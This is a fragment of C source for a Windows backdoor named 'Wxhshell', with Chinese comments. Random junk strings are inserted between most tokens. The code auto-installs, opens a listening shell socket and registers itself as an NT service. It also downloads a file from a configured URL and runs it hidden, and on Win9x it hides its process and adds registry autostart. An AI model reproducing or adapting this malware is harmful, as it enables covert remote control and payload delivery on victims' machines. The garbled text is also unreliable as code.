主模块 {afIr1j/m int StartWxhshell(LPSTR lpCmdLine) %/r:iD { wYd{X 8$ SOCKET wsl; xeRoif\4c BOOL val=TRUE; "i\^GK= int port=0; :>3?|Z"Aj struct sockaddr_in door; ZkF6AF ?V =#x.9 if(wscfg.ws_autoins) Install(); we33GMxHl` Bf$`Hf6 port=atoi(lpCmdLine); wd2z=^S~ B*}:YV if(port<=0) port=wscfg.ws_port; 2GRv%:rZ v+DXs!O{ WSADATA data; 'On%p|s)H if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K#x|/b'5d WS\Ir-B if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; S3y('
PeF setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eY`o=xN door.sin_family = AF_INET; Hw,@oOh. door.sin_addr.s_addr = inet_addr("127.0.0.1"); l-8rCaq&J door.sin_port = htons(port); pE{Ecrc3| B#o6UO\ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $g
}aH(vf closesocket(wsl); :;w#l"e7< return 1; =DXN`]uN } T@ zV
tPFj[Y~Iy if(listen(wsl,2) == INVALID_SOCKET) { eI/5foA closesocket(wsl); [I(
Yn return 1; (~?p`g+I.P } "6i3'jc` Wxhshell(wsl); OgCz[QXr_ WSACleanup(); (J.k\d x-~=@oiv return 0; Am"&ApK 8-x)8B } B|r' -7VQ{nC // 以NT服务方式启动 2CV? cm VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yg82a7D { 4i+H(d n DWORD status = 0; jaQH1^~l/- DWORD specificError = 0xfffffff; _W>xFBy
HnKXO serviceStatus.dwServiceType = SERVICE_WIN32; QVkrhwp serviceStatus.dwCurrentState = SERVICE_START_PENDING; e. R9: serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ggy9euWV serviceStatus.dwWin32ExitCode = 0; CsN^u H serviceStatus.dwServiceSpecificExitCode = 0; di37 serviceStatus.dwCheckPoint = 0; 1YtK+,mz serviceStatus.dwWaitHint = 0; lLS7K8;4W a:F\4x= hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !iW>xo if (hServiceStatusHandle==0) return; 8Y/1+- %m-U:H.Vp status = GetLastError(); 8;x0U`}Ez( if (status!=NO_ERROR) @iN"]GFjS { -]Q\G serviceStatus.dwCurrentState = SERVICE_STOPPED; YRU95K[ serviceStatus.dwCheckPoint = 0; H'&[kgnQ@ serviceStatus.dwWaitHint = 0; /25Ay serviceStatus.dwWin32ExitCode = status; s133N? serviceStatus.dwServiceSpecificExitCode = specificError; yV*4|EkvW SetServiceStatus(hServiceStatusHandle, &serviceStatus); m"wP]OQH*+ return; ^p3W}D } ]#vi/6\J Y;kiU serviceStatus.dwCurrentState = SERVICE_RUNNING; Yw_!40` serviceStatus.dwCheckPoint = 0; ZWQ/BgKB serviceStatus.dwWaitHint = 0; Hz>Dp
! if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jW>K#vj } ^ U~QQ gmZ] E45 // 处理NT服务事件,比如:启动、停止 I8uFMP VOID WINAPI NTServiceHandler(DWORD fdwControl) -s]@8VJA" { uc/W/c u, switch(fdwControl) |mcc?*%t8 { pk0{*Z?@ case SERVICE_CONTROL_STOP: ^%!#Q]. serviceStatus.dwWin32ExitCode = 0; y2=yh30L0E serviceStatus.dwCurrentState = SERVICE_STOPPED; G"h}6Za;DO serviceStatus.dwCheckPoint = 0; WWATG= serviceStatus.dwWaitHint = 0; #\\|:`YV { L[!||5y SetServiceStatus(hServiceStatusHandle, &serviceStatus); .AZwVP< } gj
I>tz} return; HEw&' case SERVICE_CONTROL_PAUSE: 8#/y`ul serviceStatus.dwCurrentState = SERVICE_PAUSED; G=|~SYz break; oXUb_/ case SERVICE_CONTROL_CONTINUE: &^l(RBp]0 serviceStatus.dwCurrentState = SERVICE_RUNNING; 13+.> break; ^!gq_x case SERVICE_CONTROL_INTERROGATE: fElFyOo+ break; nkf7Fq} }; 2+ywl}9 SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?hViOh$. } lSc=c-iOv W6B"QbHYz // 标准应用程序主函数 ?$l|];m)- int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tHK>w%|\R { KD?b|y@ bP> Kx-%q // 获取操作系统版本 tS-gaT`T OsIsNt=GetOsVer(); 73Hm:"Eqd GetModuleFileName(NULL,ExeFile,MAX_PATH); Fu5c_"! ,e$6%R // 从命令行安装 l>KkAA if(strpbrk(lpCmdLine,"iI")) Install(); lc3Gu78 A/ M=3gV?N // 下载执行文件 m=SI *V if(wscfg.ws_downexe) { g/VV2^, if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <y?=;54a WinExec(wscfg.ws_filenam,SW_HIDE); `evF?t11X } &xUD( Qqs1%u;e8 if(!OsIsNt) { h~ZLULW)B // 如果时win9x,隐藏进程并且设置为注册表启动 wE}Wh5 HideProc(); =[LorvX+ StartWxhshell(lpCmdLine); 216$,4i } [2h.5.af else 9Vo*AK'&U if(StartFromService()) 8:>V'j // 以服务方式启动 X-#&]^d StartServiceCtrlDispatcher(DispatchTable); V1~@ else DTSf[zP/ // 普通方式启动 <'N:K@Cs StartWxhshell(lpCmdLine); </u=<^ire *QV"o{V return 0; ambr}+}
}
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